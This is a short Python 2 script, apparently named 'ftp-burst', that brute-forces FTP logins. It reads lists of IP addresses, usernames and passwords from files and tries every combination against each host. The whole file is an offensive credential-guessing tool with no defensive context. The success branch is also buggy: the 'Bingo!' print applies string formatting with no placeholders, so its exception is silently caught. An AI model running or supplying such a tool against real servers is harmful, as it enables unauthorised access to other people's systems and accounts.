#!/usr/bin/env python2
# -*- coding: UTF-8 -*-
import sys
import os
sys.path.append(os.path.abspath(os.getcwd()))

from ftplib import FTP
from pydash.collections import map_
from common.helper import normal_laf


def connect_to_ftp(ip, port, username, password):
    try:
        print('Try %s:%s %s %s' % (ip, port, username, password))
        ftp = FTP()
        ftp.connect(ip, port, 1)
        ftp.login(username, password)
        print('Bingo!' % (ip, port, username, password))
        exit()
    except Exception as e:
        print(e)
        pass


def main():
    files = ['./ftp-burst/ip.txt', './ftp-burst/username.txt', './ftp-burst/password.txt']
    (ips, usernames, passwords) = map_(files, lambda f: normal_laf(f))

    for x in range(0, len(ips)):
        for y in range(0, len(usernames)):
            for z in range(0, len(passwords)):
                ip = ips[x]
                (ip, port) = (ip, 21) if ip.find(':') == -1 else ip.split(':')
                connect_to_ftp(ip, port, usernames[y], passwords[z])

    print('Burst fail!')


if __name__ == '__main__':
    main()
